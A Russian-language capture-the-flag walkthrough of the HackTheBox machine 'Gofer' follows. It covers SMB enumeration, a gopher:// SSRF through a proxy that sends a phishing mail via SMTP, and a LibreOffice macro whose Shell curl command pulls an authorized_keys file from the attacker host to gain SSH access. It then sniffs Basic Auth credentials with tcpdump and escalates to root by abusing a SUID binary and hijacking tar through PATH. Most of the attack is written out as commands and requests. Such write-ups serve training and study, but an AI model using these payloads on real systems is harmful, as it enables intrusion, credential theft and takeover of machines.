Обзор сервисов
Машине присвоен IP-адрес 10.10.11.225
, проведем стандартное сканирование nmap
:
$ nmap --privileged -sV -sC -p1-65535 -Pn -oN 10.10.11.225 10.10.11.225
Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-02 20:19 GMT
Nmap scan report for gofer.htb (10.10.11.225)
Host is up (0.050s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
25/tcp filtered smtp
80/tcp open http Apache httpd 2.4.56
|_http-server-header: Apache/2.4.56 (Debian)
|_http-title: Gofer
139/tcp open netbios-ssn Samba smbd 4.6.2
445/tcp open netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
|_clock-skew: -2h59m59s
|_nbstat: NetBIOS name: GOFER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2023-10-02T17:20:10
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 63.21 seconds
К стандартным Linux-портам на HackTheBox добавился SMTP, а также Samba.
Веб-сервис
Чтобы осмотреть веб, нужно прописать домен в /etc/hosts
:
$ sudo nano /etc/hosts
10.10.11.225 gofer.htb
Ничего интересного. Однако обратим внимание на имена людей.
Samba
С помощью логина anonymous
проверим, что лежит на самбе:
$ smbclient -L 10.10.11.225
Enter WORKGROUP\user's password:
Sharename Type Comment
--------- ---- -------
print$ Disk Printer Drivers
shares Disk
IPC$ IPC IPC Service (Samba 4.13.13-Debian)
SMB1 disabled -- no workgroup available
На самбе находим резервную копию почты:
$ smbclient \\\\10.10.11.225\\shares
Enter WORKGROUP\user's password:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Fri Oct 28 19:32:08 2022
.. D 0 Fri Apr 28 11:59:34 2023
.backup DH 0 Thu Apr 27 12:49:32 2023
5061888 blocks of size 1024. 2173440 blocks available
smb: \> get .backup
NT_STATUS_FILE_IS_A_DIRECTORY opening remote file \.backup
smb: \> cd .backup
smb: \.backup\> dir
. D 0 Thu Apr 27 12:49:32 2023
.. D 0 Fri Oct 28 19:32:08 2022
mail N 1101 Thu Apr 27 12:49:32 2023
5061888 blocks of size 1024. 2173436 blocks available
smb: \.backup\> get mail
getting file \.backup\mail of size 1101 as mail (5.3 KiloBytes/sec) (average 5.3 KiloBytes/sec)
From [email protected] Fri Oct 28 20:29:30 2022
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: from gofer.htb (localhost [127.0.0.1])
by gofer.htb (Postfix) with SMTP id C8F7461827
for <[email protected]>; Fri, 28 Oct 2022 20:28:43 +0100 (BST)
Subject:Important to read!
Message-Id: <[email protected]>
Date: Fri, 28 Oct 2022 20:28:43 +0100 (BST)
From: [email protected]
Hello guys,
Our dear Jocelyn received another phishing attempt last week and his habit of clicking on links without paying much attention may be problematic one day. That's why from now on, I've decided that important documents will only be sent internally, by mail, which should greatly limit the risks. If possible, use an .odt format, as documents saved in Office Word are not always well interpreted by Libreoffice.
PS: Last thing for Tom; I know you're working on our web proxy but if you could restrict access, it will be more secure until you have finished it. It seems to me that it should be possible to do so via <Limit>
Из письма мы узнаем имя Tom
, а также о наличии веб-прокси. Мы также узнаем о пользователе jdavis
, а также об использовании LibreOffice (odt
формат). Так же мы знаем формат электронных писем - [email protected]
, [email protected]
, [email protected]
, [email protected]
.
Попробуем найти proxy с помощью gobuster
:
$ gobuster vhost -u http://gofer.htb -w /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 20 --append-domain -r
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://gofer.htb
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /opt/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: proxy.gofer.htb Status: 401 [Size: 462]
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
Аналогично добавим домен в /etc/hosts
.
Параметр GET встречает нас с помощью Basic Auth, от которого у нас нет кредов.
При этом POST параметр и эндпоинт /index.php
позволяют нам отправлять данные.
Вероятно, нам нужно пробиться через прокси на порт 25, чтобы отправить сообщение Gopher с помощью гайда.
При этом localhost
(и его аналог 127.0.0.1
) заблокирован.
Попробуем отправить ссылку на odt
документ пользователю jhudson
(Joselyn Hudson).
gopher://0:25/_MAIL FROM:<[email protected]>
RCPT To:<[email protected]>
DATA
From:[email protected]
Subject:rce
Message:<a href="http://10.10.14.5:4242/rce.odt>rce.odt</a>
.
Полный запрос:
POST /index.php?url=gopher%3a//0%3a25/_MAIL%2520FROM%3a<jdavis%2540gofer.htb>%250ARCPT%2520To%3a<jhudson%2540gofer.htb>%250ADATA%250AFrom%3ajdavis%2540gofer.htb%250ASubject%3arce%250AMessage%3a%253Ca%2520href%253D%2522http%3a//10.10.14.5%3a4242/rce.odt%253Erce.odt%253C/a%253E%250A. HTTP/1.1
Host: proxy.gofer.htb
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
Пользователь скачивает файл. Сделаем файл с макросом, в котором при открытии сработает наша полезная нагрузка.
Макрос:
REM ***** BASIC *****
Sub Main
Shell("curl http://10.10.14.5:4242/authorized_keys -o /home/jhudson/.ssh/authorized_keys")
End Sub
В файл authorized_keys
положим свой публичный SSH-ключ.
Закроем редактор макросов, после чего в самом документе откроем меню Tools -> Customize -> Events -> Open Document
.
Запустим HTTP-сервер.
python3 -m http.server 4242
Отправляем запрос с помощью Burp и ждем.
После скачивания двух файлов подключаемся по SSH как jhudson
:
Пользовательский флаг
Повышение привилегий
jhudson
состоит в группе netdev
. К тому же, на машине обнаруживается tcpdump
.
Есть интересный бинарник с SUID-битом:
$ find / -perm -u=s -type f 2>/dev/null
...
/usr/local/bin/notes
$ ls -la /usr/local/bin/notes
-rwsr-s--- 1 root dev 17168 Apr 28 16:06 /usr/local/bin/notes
Однако пользователь jhudson
не в группе dev
и не может запускать его.
$ cat /etc/hosts
127.0.0.1 localhost gofer
127.0.0.1 gofer.htb proxy.gofer.htb
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Запишем трафик через tcpdump
:
$ tcpdump -i lo -w traffic.pcap
tcpdump: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytes
^C24 packets captured
48 packets received by filter
0 packets dropped by kernel
После скачаем файл traffic.pcap
с машины и откроем в Wireshark. Среди трафика обнаружим Basic Auth
креды:
Декодируем эти креды и получим пароль от пользователя tbuckley
.
$ echo dGJ1Y2tsZXk6b29QNGRpZXRpZTNvX2hxdWFldGk= | base64 -d
tbuckley:o**********o_h*****i
Подключимся к SSH как tbuckley
:
Этот пользователь состоит в группе dev
и может выполнять бинарник /usr/local/bin/notes
.
Попробуем разреверсить его.
Сразу бросается в глаза, что происходит вызов tar
от пользователя с UID и GID 0 (root
). Если мы провалимся в эту ветку, то можно подменить tar
с помощью PATH
.
После запуска бинарника сначала надо создать пользователя, но мы имеем роль user
, а не admin
.
Чтобы получить роль admin
, действуем следующим образом:
1
=> создаем пользователя3
=> удаляем пользователя4
=> создаем заметкуccccccccccccccccccccccccadmin
(24 символаc
, за нимиadmin
)
tbuckley@gofer:~$ mkdir t
tbuckley@gofer:~$ cd t
tbuckley@gofer:~/t$ nano tar
tbuckley@gofer:~/t$ chmod +x tar
tbuckley@gofer:~/t$ export PATH=$(pwd):$PATH
tbuckley@gofer:~/t$ echo $PATH
/home/tbuckley/t:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games
tbuckley@gofer:~/t$ /usr/local/bin/notes
Теперь повторяем предыдущий цикл и на последнем шаге выбираем пункт 8
.